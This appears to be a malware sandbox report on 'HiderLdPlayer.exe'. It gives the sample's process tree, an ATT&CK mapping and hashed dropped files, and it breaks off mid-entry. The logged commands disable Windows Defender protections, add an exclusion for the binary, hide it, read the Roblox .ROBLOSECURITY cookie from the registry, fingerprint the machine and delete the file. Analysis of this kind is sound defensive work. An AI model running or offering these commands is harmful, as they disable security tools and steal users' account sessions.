        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        62⤵
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        61⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        60⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        59⤵
        
        PID:6552
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        60⤵
        
        PID:6860
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        60⤵
        Views/modifies file attributes
        
        PID:7100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        60⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        60⤵
        
        PID:6256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        60⤵
        
        PID:4840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        60⤵
        
        PID:4068
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        60⤵
        
        PID:6824
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        60⤵
        
        PID:6588
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        60⤵
        
        PID:4556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        60⤵
        
        PID:3028
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        60⤵
        Detects videocard installed
        
        PID:6096
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        60⤵
        
        PID:5888
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        61⤵
        Runs ping.exe
        
        PID:5176
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        58⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        57⤵
        
        PID:5336
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        56⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        55⤵
        
        PID:6904
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        54⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        53⤵
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        52⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        51⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        50⤵
        
        PID:6912
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        49⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        48⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        47⤵
        
        PID:6672
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        46⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        45⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        44⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        43⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        42⤵
        
        PID:5464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        41⤵
        
        PID:6956
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        42⤵
        
        PID:6480
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        42⤵
        Views/modifies file attributes
        
        PID:6548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        42⤵
        
        PID:3028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        42⤵
        
        PID:7160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        42⤵
        
        PID:5968
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        42⤵
        
        PID:3088
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        42⤵
        
        PID:5344
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        42⤵
        
        PID:7044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        42⤵
        
        PID:6860
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        42⤵
        Detects videocard installed
        
        PID:4068
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        42⤵
        
        PID:6024
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        43⤵
        Runs ping.exe
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        40⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        39⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        38⤵
        
        PID:5492
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        37⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        36⤵
        
        PID:5600
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        35⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        34⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        33⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        32⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        31⤵
        
        PID:4088
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        30⤵
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        29⤵
        
        PID:6212
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        28⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        27⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        26⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        25⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        24⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        23⤵
        
        PID:3712
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        22⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        21⤵
        
        PID:7064
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        22⤵
        
        PID:6480
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        22⤵
        Views/modifies file attributes
        
        PID:6720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        22⤵
        
        PID:5544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        22⤵
        
        PID:3584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        22⤵
        
        PID:6272
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        22⤵
        
        PID:7128
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        22⤵
        
        PID:6556
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        22⤵
        
        PID:6648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        22⤵
        
        PID:7136
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        22⤵
        Detects videocard installed
        
        PID:7008
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        22⤵
        
        PID:6856
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        23⤵
        Runs ping.exe
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        20⤵
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        19⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        18⤵
        
        PID:6724
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        17⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        16⤵
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        15⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        14⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        13⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        12⤵
        
        PID:6408
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        11⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        10⤵
        
        PID:6916
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        9⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        8⤵
        
        PID:6408
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        7⤵
        Executes dropped EXE
        
        PID:5348
      - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        6⤵
        Executes dropped EXE
        
        PID:3872
    - - C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5680
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3792
      - C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        6⤵
        Views/modifies file attributes
        
        PID:2844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        6⤵
        
        PID:6528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        
        PID:7020
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        
        PID:5716
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        6⤵
        
        PID:6972
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        6⤵
        
        PID:6988
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        
        PID:7136
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        
        PID:6432
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:6840
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        6⤵
        
        PID:7116
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        7⤵
        Runs ping.exe
        
        PID:6644

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:3504

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3912
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  PID:4044

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6180

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\HiderLdPlayer.exe.log

Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
56067634f68231081c4bd5bdbfcc202f

SHA1
5582776da6ffc75bb0973840fc3d15598bc09eb1

SHA256
8c08b0cbceb301c8f960aa674c6e7f6dbf40b4a1c2684e6fb0456ec5ff0e56b4

SHA512
c4657393e0b9ec682570d7e251644a858d33e056ccd0f3eebffd0fde25244b3a699b8d9244bcdac00d6f74b49833629b270e099c2b557f729a9066922583f784

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
81e892ca5c5683efdf9135fe0f2adb15

SHA1
39159b30226d98a465ece1da28dc87088b20ecad

SHA256
830f394548cff6eed3608476190a7ee7d65fe651adc638c5b27ce58639a91e17

SHA512
c943f4cfe8615ac159cfac13c10b67e6c0c9093851dd3ac6dda3b82e195d3554e3c37962010a2d0ae5074828d376402624f0dda5499c9997e962e4cfd26444c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
df70008f0c0fbf62e2945b46157f3369

SHA1
878fe70198b7317ed8dd86dea12fadccbf1cbdad

SHA256
171f2292c97d49e171c5619da9ba200224d32faed3658586ff14dc29f1d30716

SHA512
d4f2e59bd469d1ea1e1849ebe434dd8fb083ddf47b128cbe1d0e2d5231588bdcef6bc0a085b0305d27f216e67dd13b3d087a36a83c1eb07ce5faafe8c4bfe2f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
21dbea3981b2e13b980894ba232fab02

SHA1
2fd91a6708bf275cfc36e1b85c040fd89f6348b8

SHA256
ad5959c094f40e31cbda2cf908afc8d819faa516ea1564d487ed653c5196b336

SHA512
781b78fd94ed4668650605ff628bf3686e2b84810617456f1bd6fc7e83fd0e9a763644d00900266f6d230cb8a6d22f40fb4370dfbe815b6de78d45cc15f8e3f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
f44cce6dbfd67cff06df07b27ddf3169

SHA1
ca5338026c7df3ce6ef5771d7bd94d6e5b1332ee

SHA256
2980dce33fdadc185689b53b11aaa00e8c8286a3de4bcf369fc4779eaf18de49

SHA512
6da6a3e864359ca13c312b6439d0a8f757efea7a7aec53290d7052a4bd38a495ae6b3f2d38a71ca3bf6462baa7d5ba98212696f764585252b9c7a5bf6940fe0e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
6d1b8c8c62598d39830d5d69aa996645

SHA1
f11eace4fd21a49e6d9d19fe7709255cd40865e9

SHA256
67bfcdb5ad010484c2a395a5c5d35aa1443dd704f1e2d6c6ae897bf1db85772a

SHA512
bc746dd4708e1548442cc273a8150af88898c1b35cfec4b85044a40f37e22ef4f4b53628801e84c28462044dcf4b2e55c37674b6c0b755546f29b391524d3f46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
4968a733ec5db6a3352d1601a8cad7b3

SHA1
17e2e358e984d7d6154c4ca3295312e40e4f23e3

SHA256
850dde6b7156cfde7a054e17bdeaac9d62b32b72a761874f7ef911d43acdb86a

SHA512
92322550384df2e2a8400bbb4ef9379bf7f8d4deccf4e9fc0dead33d4755227e57ca8b276dcb62c47ae58b938ecabf0419de20eda66d49aca5f3828eed1b124e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e0ec6bf376a6b15852bce768196c5ed0

SHA1
05fe4e592ebbb7e29f36b8d30a6a90ba29bd4f81

SHA256
2d4a39cbbd597a7cfff477817c3c7c541c14974c8d234b4c0de6d229e3a3ce97

SHA512
dc0c7d3d127c88affea9ae402d7358c079cfa7fc3ecb417085e31dc749da1406e72563bfbe42167fdad57e10aa0c6cca7a8ba06921b3a1212ad7ccee1a0f859b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
107102102e02e48f37f5318c7e113c43

SHA1
7fb10fc65c85fb4c050309f0872bc9389dcccc0d

SHA256
3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

SHA512
b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
c6aae9fb57ebd2ae201e8d174d820246

SHA1
58140d968de47bcf9c78938988a99369bbdb1f51

SHA256
bbc39a8da61fd8ec0d64e708e1ab4986f7fdf580581e464629bf040c595f7c08

SHA512
5959f7dab47bc4bad03635f497ca48f2e0740375528afddfc50964e54983e56df5970b25b8d8b28f1aa73cd6233fac83c634a311e759c58a365570e4862c3e3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\kvgg58fx.default-release\activity-stream.discovery_stream.json.tmp

Filesize
29KB

MD5
028bef484ab1142d4e3b499dcdf49b88

SHA1
524f64532bbff5471a7a2b549cd62fa012de0c82

SHA256
333b51bb62aff0891796910855345d43bdbf9801920338d4074548be697ff9ec

SHA512
